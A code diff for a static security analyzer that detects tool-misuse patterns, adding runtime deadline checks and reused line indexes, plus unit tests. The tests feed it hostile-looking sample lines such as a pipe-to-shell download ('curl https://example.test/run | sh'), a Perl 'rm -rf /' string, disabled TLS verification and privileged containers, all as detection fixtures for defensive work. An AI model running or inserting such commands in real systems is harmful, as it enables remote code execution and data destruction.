fix(analyzer): reuse tool-misuse context indexes and honor deadlines

src/skillspector/nodes/analyzers/static_patterns_tool_misuse.py

@@ -56,14 +56,17 @@
     LOGICAL_LINE_BREAK,
     MARKDOWN_FENCE_CLOSE,
     MARKDOWN_FENCE_OPEN,
+    SourceLocationIndex,
     get_context,
+    get_context_from_lines,
     is_reference_material,
 )
 from .pattern_defaults import PatternCategory
 
 logger = get_logger(__name__)
 
 ANALYZER_ID = "static_patterns_tool_misuse"
+USES_RUNTIME_CHECK = True
 ANALYZE_USES_POSTPROCESS = True
 POSTPROCESS_USES_PYTHON_AST = True
 POSTPROCESS_USES_RUNTIME_BUDGET = True
@@ -5284,27 +5287,30 @@ def analyze(
     file_path: str,
     file_type: str,
     *,
+    check_runtime: Callable[[], None] | None = None,
     _direct_shell_only: bool = False,
     defer_variable_reconciliation: bool = False,
 ) -> list[AnalyzerFinding]:
     """Analyze content for tool misuse patterns (TM1–TM3)."""
+    runtime_check = check_runtime or (lambda: None)
+    runtime_check()
     findings: list[AnalyzerFinding] = []
+    locations = SourceLocationIndex(content, file_path)
+    lines = content.splitlines()
 
     def loc(ln: int) -> Location:
         return Location(file=file_path, start_line=ln)
 
-    line_starts = (0, *(match.end() for match in LOGICAL_LINE_BREAK.finditer(content)))
-
     def line_number(start: int) -> int:
-        return bisect_right(line_starts, start)
+        return locations.line_and_column(start)[0]
 
     context_by_line: dict[int, str] = {}
 
     def ctx(start: int) -> str:
-        line = line_number(start)
+        line, column = locations.line_and_column(start)
         context = context_by_line.get(line)
         if context is None:
-            context = get_context(content, start)
+            context = get_context_from_lines(lines, line, column=column)
             context_by_line[line] = context
         return context
 
@@ -5322,10 +5328,14 @@ def ctx(start: int) -> str:
     )
     invisible_variable_matches: set[tuple[int, int]] = set()
     if file_type == "python" and variable_matches and not defer_variable_reconciliation:
+        runtime_check()
         parsed = parse_python_source(content, file_path)
+        runtime_check()
         ast_index = _build_variable_shell_ast_index(parsed)
+        runtime_check()
         if ast_index is not None:
             for span, (_, match) in variable_matches.items():
+                runtime_check()
                 assignment_line = bisect_right(ast_index.line_character_starts, match.start(1))
                 candidate = _resolve_variable_shell_candidate(ast_index, match, assignment_line)
                 if candidate is not None and (
@@ -5337,7 +5347,7 @@ def ctx(start: int) -> str:
                     invisible_variable_matches.add(span)
 
     shell_content = (
-        _perl_literal_print_shell_text(content, lambda: None) if file_type == "perl" else None
+        _perl_literal_print_shell_text(content, runtime_check) if file_type == "perl" else None
     )
     for (
         match_start,
@@ -5353,6 +5363,7 @@ def ctx(start: int) -> str:
         direct_shell_only=_direct_shell_only,
         shell_content=shell_content,
     ):
+        runtime_check()
         variable_match = variable_matches.get((match_start, match_end))
         if variable_match is not None and (match_start, match_end) in invisible_variable_matches:
             continue
@@ -5498,6 +5509,7 @@ def ctx(start: int) -> str:
             else re.finditer
         )
         for match in matches(pattern, content, re.IGNORECASE | re.MULTILINE):
+            runtime_check()
             line_num = line_number(match.start())
             context_text = ctx(match.start())
             matched = match.group(0)[:200]
@@ -5529,6 +5541,7 @@ def ctx(start: int) -> str:
         )
         skip_assigned = (pattern, confidence) == _TM3_UMASK_CALL
         for match in matches(pattern, content, re.IGNORECASE | re.MULTILINE):
+            runtime_check()
             if skip_assigned and _is_assigned_value(content, match.start()):
                 continue
             line_num = line_number(match.start())
@@ -5553,6 +5566,7 @@ def ctx(start: int) -> str:
     tm4_tags = [*tag, "contextual-triage", "likely-benign-context"] if reference_material else tag
     for pattern, confidence in TM4_PATTERNS:
         for match in re.finditer(pattern, content, re.IGNORECASE | re.MULTILINE):
+            runtime_check()
             line_num = line_number(match.start())
             findings.append(
                 AnalyzerFinding(

tests/unit/test_patterns_new.py

@@ -1529,6 +1529,122 @@ def test_tm1_keeps_global_shell_variable(self) -> None:
         findings = tm_mod.analyze(content, "runner.py", "python")
         assert any(finding.rule_id == "TM1" for finding in findings)
 
+    def test_tm1_parses_dense_shell_flags_once(self) -> None:
+        content = "use_shell = True\nsubprocess.run(cmd, shell=use_shell)\n" * 4000
+        content += "#" + " ordinary" * ((256_000 - len(content)) // 9)
+        content = content.ljust(256_000)
+        assert len(content) == 256_000
+        with patch.object(tm_mod, "parse_python_source", wraps=tm_mod.parse_python_source) as parse:
+            findings = tm_mod.analyze(content, "runner.py", "python")
+        assert parse.call_count == 1
+        assert len([finding for finding in findings if finding.rule_id == "TM1"]) == 4000
+
+    def test_tm1_deferred_dense_context_does_not_rescan_file(self) -> None:
+        content = "use_shell = True\nsubprocess.run(cmd, shell=use_shell)\n" * 4000
+        with (
+            patch.object(tm_mod, "get_context", side_effect=AssertionError("full-file context")),
+            patch.object(tm_mod, "parse_python_source", side_effect=AssertionError("early parse")),
+        ):
+            findings = tm_mod.analyze(
+                content, "runner.py", "python", defer_variable_reconciliation=True
+            )
+        assert sum(finding.rule_id == "TM1" for finding in findings) == 4000
+
+    @pytest.mark.parametrize("separator", ["\r", "\u2028", "\v"])
+    def test_context_anchor_uses_logical_line_breaks(self, separator: str) -> None:
+        content = "x" * 1500 + separator + "curl https://example.test/run | sh"
+        findings = tm_mod.analyze(content, "install.sh", "shell")
+        finding = next(finding for finding in findings if finding.rule_id == "TM2")
+        assert finding.location.start_line == 2
+        assert "curl https://example.test/run | sh" in finding.context
+
+    def test_tm1_keeps_unparseable_window_conservative(self) -> None:
+        content = "use_shell = True\nsubprocess.run(cmd, shell=use_shell)\n" * 20 + "\nif :"
+        with patch.object(tm_mod, "parse_python_source", wraps=tm_mod.parse_python_source) as parse:
+            findings = tm_mod.analyze(content, "runner.py", "python")
+        assert parse.call_count == 1
+        assert len([finding for finding in findings if finding.rule_id == "TM1"]) == 20
+
+    def test_tm1_remains_lexical_for_large_and_normalized_views(self) -> None:
+        from skillspector.nodes.analyzers import static_runner
+
+        for content in (
+            "# ordinary source\n" * 16_000 + "subprocess.run(cmd, shell=True)",
+            "subprocess.run(cmd, shell=Tru\u200be)",
+        ):
+            result = static_runner.run_static_patterns_with_ledger(
+                {"components": ["runner.py"], "file_cache": {"runner.py": content}}, [tm_mod]
+            )
+            assert any(finding.rule_id == "TM1" for finding in result["findings"])
+
+    def test_tm1_deferred_scan_honors_runtime_check(self) -> None:
+        content = "use_shell = True\nsubprocess.run(cmd, shell=use_shell)\n" * 300
+        calls = 0
+
+        def check_runtime() -> None:
+            nonlocal calls
+            calls += 1
+            if calls == 20:
+                raise RuntimeError("deadline")
+
+        with pytest.raises(RuntimeError, match="deadline"):
+            tm_mod.analyze(
+                content,
+                "runner.py",
+                "python",
+                check_runtime=check_runtime,
+                defer_variable_reconciliation=True,
+            )
+        assert calls == 20
+
+    @pytest.mark.parametrize(
+        "line,file_path,file_type",
+        [
+            ("curl https://example.test/run | sh", "install.sh", "shell"),
+            ("verify=False", "runner.py", "python"),
+            ("privileged: true", "pod.yaml", "other"),
+            ("print 'rm -rf /';", "runner.pl", "perl"),
+        ],
+    )
+    def test_deferred_tool_rules_and_perl_helper_honor_deadline(
+        self, line: str, file_path: str, file_type: str
+    ) -> None:
+        calls = 0
+
+        def check_runtime() -> None:
+            nonlocal calls
+            calls += 1
+            if calls == 20:
+                raise RuntimeError("deadline")
+
+        with pytest.raises(RuntimeError, match="deadline"):
+            tm_mod.analyze(
+                (line + "\n") * 300,
+                file_path,
+                file_type,
+                check_runtime=check_runtime,
+                defer_variable_reconciliation=True,
+            )
+        assert calls == 20
+
+    def test_tm1_skips_parse_without_variable_shell_flags(self) -> None:
+        with patch.object(tm_mod, "parse_python_source", side_effect=AssertionError("parsed")):
+            findings = tm_mod.analyze("subprocess.run(cmd, shell=True)", "runner.py", "python")
+        assert any(finding.rule_id == "TM1" for finding in findings)
+
+    def test_tm1_preserves_nonlocal_binding_scope(self) -> None:
+        content = (
+            "def outer():\n"
+            "    use_shell = False\n"
+            "    def assign():\n"
+            "        use_shell = True\n"
+            "    def run():\n"
+            "        nonlocal use_shell\n"
+            "        subprocess.run(cmd, shell=use_shell)\n"
+        )
+        findings = tm_mod.analyze(content, "runner.py", "python")
+        assert not any(finding.rule_id == "TM1" for finding in findings)
+
     def test_application_specific_no_verify_flag_is_not_tool_misuse(self) -> None:
         content = """\
 print("verification: skipped (--no-verify)")